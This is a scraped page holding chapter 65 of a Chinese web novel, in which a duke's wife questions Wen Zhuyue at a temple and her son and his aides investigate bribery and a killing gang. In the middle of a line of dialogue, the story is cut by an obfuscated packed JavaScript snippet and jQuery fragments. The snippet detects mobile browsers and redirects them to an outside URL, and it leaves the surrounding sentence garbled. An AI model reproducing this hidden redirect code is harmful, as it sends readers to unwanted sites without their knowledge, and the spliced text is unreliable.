默认冷灰
24号文字
方正启体

65. 敲问

作者:非山让尘本书字数:K更新时间:
    裴夫人神色一滞,沉默了片刻后,像是有些不可置信,最后又问了一句:“你是温尚书的女儿逐月娘子?”


    “是。”温逐月面容沉稳,恭敬答她。


    温逐月在庐江遇匪一事早已在京中传得沸沸扬扬,裴夫人见她一个柔弱的小娘子能劫后重生,顺利返京,实属不易。


    未免问起她的伤心事,裴夫人又转了话锋,问道:“我瞧着温娘子眼生,但温娘子却认得我,不知是不是我年纪大了的缘故,实在想不起来在哪里见过温娘子。”


    温逐月与裴夫人并不算是相识,只是遥遥见过几面。今日是她贸然追到长生祠,冲撞了裴夫人,于情于理,就算素不相识,她也要硬着头皮同裴夫人打个招呼才不算失礼。


    可方才看见的人影一路往这里来,怎么倏忽又不见了?若非是鬼迷心窍,她也不会跟上来撞见国公夫人。


    “从前到跟着阿爹到玉虚观两次,恰巧远远碰见过国公夫人,但不曾与夫人打过照面,也难怪夫人觉得我眼生。今日逐月贸然闯入,冲撞了夫人,还请夫人见谅。”温逐月屈身行礼,以表歉意。


    裴夫人扶起她,笑道:“无碍,若非你今日过来,怕是我也无缘认识你。今日温娘子到玉虚观来,可是为了还愿的?”


    “回夫人,我是为家人供灯而来的。”温逐月眉间隐隐藏着悲色,面色却还算平静。


    传言与温逐月随行的二十五人,拼死保护她,皆丧命于庐江。二十五条鲜活的人命在眼前消亡,身心俱创,即便离事发已经过去了六个多月,明面看着是一切已经风平浪静,尘埃落定了,可只有亲历者才知心创难平。


    不想还是牵问到温逐月的伤心事,裴夫人有些自责又轻声宽慰她:“太乙救苦天尊会感念温娘子的心意,引导亡者早日往生的。”


    “夫人与我说了许久的话,费了精神,想来还有其他的事要做,逐月便不叨扰了。”温逐月低头谢过她的宽慰又行礼告退离开。


    不知怎的,国公夫人给她一种很熟悉的感觉,像是在哪里见过一般。可她从前与国公夫人也远远见过几次,又如何说清这突如其来的熟悉感呢?


    温逐月没有继续多想,缓步走出了长生祠外。


    目送温逐月离开后,裴夫人转身看向浓密树荫遮蔽的人影,道:“人都已经走远了,还躲什么?快些出来。”


    “阿娘,我没躲。外面有些热,还是树荫底下凉快。”裴扬雨一副若无其事的模样走出来,倒是显得无比坦然。


    “你前脚跑回来,后脚温娘子就跟上来了,若你不是心虚,何须要我替你打掩护?”裴夫人最是了解他的秉性,是打定了主意要将话挑明。


    裴扬雨面色和缓道:“阿娘也知道,我不喜欢应付小娘子。多一事不如少一事,不见最清净。”


    裴夫人侧目一瞥:“你方才是从青华殿奔来的,莫不是偷看冲撞了小娘子惹了麻烦,所以要将我推出去替你躲一躲吧?”


    “阿娘,这都是哪跟哪的事,您别胡思乱想了,我们还是早些回去,别在这里怀疑我了。”


    裴扬雨向前走了几步,见裴夫人仍一动不动,站在原地打量他。


    “你同我老实说,你是不是同温娘子认识。阿娘从来没有见你这么慌张过,你素日根本不愿接近小娘子,即便是碰见了,冷言寒暄几句便不给别人好脸色就走了,今日你倒是反常。”裴夫人觉得裴扬雨今日不怎么坦荡,虽说面色如常,可太多搪塞之词。


    裴夫人认定裴扬雨有事瞒着他,只是裴扬雨嘴硬,一时半会定然是问不出实情。


    出了玉虚观后,竹声在马车前迎裴扬雨和裴夫人二人上车。


    “竹声,你方才可看见什么人了?”裴夫人漫不经心问了一句。


    竹声摇摇头:“不知老夫人说的,是何人?”


    裴夫人道:“温娘子,温尚书的女儿逐月娘子。我与她方才相遇,她比我们早半个钟出来,你们应当见过。”


    “我见许多娘子从观里进进出出,一时眼拙,也不知其中哪一位娘子是温娘子。”竹声低头回道。


    瞥见竹声的慌张神色,裴夫人心中已经有了答案,便也不再多问,兀自上了马车。


    “阿娘。”裴夫人一言不发,裴扬雨却觉得有些不安。


    “你不愿说的,我不会再追问下去,待你愿意说了再同我说。”裴夫人神色如水,轻轻拂去衣袖的褶皱,不经意道:“山匪劫道,掠财害命,亏得温娘子福大命大才逃过了死劫。想起她的遭遇,实在是令人揪心。可怜天下父母心,也不知道温娘子受伤的这四个月以来,温尚书是怎么熬过来的。”


    裴扬雨默然不答,只是静静听着裴夫人的话。


    裴夫人见裴扬雨的脸色慢慢暗下去,不禁皱了皱眉。若是温娘子与他素不相识,他绝对不会是这个反应。


    像是愧疚,像是不安,像是痛苦。这也不是对提起一位不相熟的小娘子应有的神情。


    裴夫人不敢再说了。


    回到国公府后,裴扬雨走去书房,见兰影已经在门口等着了。


    兰影察觉裴扬雨脸色不太好,暗暗给竹声使了个眼色。竹声轻轻摇头,兰影便明白了。


    裴扬雨轻呼一口气,看了竹声一眼,“她没看到你吧?”


    “主君放心,见温娘子来了,我便远远躲开了。”竹声知道裴扬雨的避忌,不敢在京中与温逐月正面碰上。


    “好了,我无事了,你替我冲一盏茶来,要浓一些的。”裴扬雨吩咐完竹声又朝兰影道:“说说你都查到些什么了?”


    兰影回话:“主君,依您所言,国子司业方博英果然有问题。这方博英看着是个清正廉洁的人,可在背地里敛财,在月末岁末的学考里,多给银钱的学子便能过,不给银钱的学子难过考核或不能过考核。因此挑上去的许多学子都是华而无实的草包,上不得台面。”


    “国子祭酒发现端倪,去查过,可也查不出什么证据。为避风头,方博英后面便收敛了许多。可他做了这么多的恶事,也算是死有余辜。”


    裴扬雨思忖片刻,发现了可疑之处,“敛了这么多钱,却没有证据。国子祭酒莫不是跟他一路,也是包庇他的?”


    兰影道:“国子祭酒与方博英素日不和,许多事情都是各执一方意见的。可因国子祭酒比方博英品阶高,许多事不得不听从他的话,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703773|181261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他便心存怨言,与国子祭酒是面和心不和。往日也不见他与什么人有多走动。”


    “他看起来一派正经严苛的老夫子模样,像是与谁都合不来。但像他这样自命清高的人,居然如此爱财,这实在是让人想不通。主君是怀疑,有人在包庇他?”


    裴扬雨又问:“如果他与国子祭酒死对头,那国子祭酒也没有理由护着他。着手去查查他平日去的酒楼,看看他都跟什么人有接触,说不定从中能知道些眉目。”


    “方博英的卷宗可悄悄调阅看过?”


    兰影应下后又答:“是,卷宗我悄悄看过,记录详实,只是有一点奇怪。黄才的左臂上的刺青图案并不清晰。因为刺青上有一处创口溃烂得很严重,并不能确定上面所刺是不是缠枝状的图案。可刑部的人认定,左臂刺青是团花阁所有,京中无人会刺此状,即便伤口溃烂,左臂的刺青便是指认的证据。”


    “此事听闻是燕侍郎一口敲定的,因着从前清剿团花阁也是由他经手的,他对团花阁的许多事都很熟悉了,若那块刺青不是缠枝状,燕侍郎也不会下此结论。主君既信不过旁人,燕侍郎也总得是要信的。”


    “先生的话自然是要信的。”裴扬雨眉心蹙成一团,“竹声,兰影,此事毕竟是陛下让我暗中调查,这件事情无论和谁都不能说起,连先生也不能说。人的意见一多起来,问题就变得复杂多了。”


    竹声和兰影齐声应道。


    竹声又问:“可眼下找不到方府失踪的管家,刑部那边又没有任何的线索头绪可以提供,根本找不到一个可供突破的关口。要查清楚团花阁杀人的原因,总得先找到团花阁还活着的人,不知主君下一步想如何做?”


    “倒是有一个可突破的关口,只是……”裴扬雨缓了缓心神,欲言又止。


    竹声见他面露犹豫之色,小心翼翼问道:“主君,可是有什么顾虑?若您不方便出面,由我和兰影私下去做便是。”


    裴扬雨不做声,只是微微叹了一口气。


    兰影怔了怔,道:“主君难道是想从温尚书这里下手?”


    “不行不行。”兰影才说完,竹声便出言阻止,“温尚书若是知道了,我们将温娘子当成十恶不赦的罪人,冷眼冷待了这么久,定然不会给您好脸色看。更何况,温娘子这四个月以来,屡屡遇险,受的伤也不少。”


    “虽说您知道温娘子还活着后,又传信回庐江让应将军再审那几个团花阁余孽。知道温娘子遇险是他们的手笔,但眼下情态不明朗,温尚书即便知道有团花阁的手笔,为着温娘子被我们欺瞒又受伤多次,定然会想办法在您身上出口恶气。”


    “您在京城的日子只会更艰难,我看还是不要招惹温尚书了,除了温尚书这条路子,总还会有别的出路的。”


    裴扬雨的面色渐渐趋于平缓,并没有回竹声的话。他心不在焉地望着升起的香雾又抬头去追香雾飘远的方向。


    良久,他又收回视线,转而望向屏息静待他发话的竹声和兰影,道:“一切的祸事都是我犯下的,我心中有愧,不敢直面现状,终归不是长久之计。我与温尚书同为朝臣,日日相见,即便要躲,也总不能躲一辈子。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)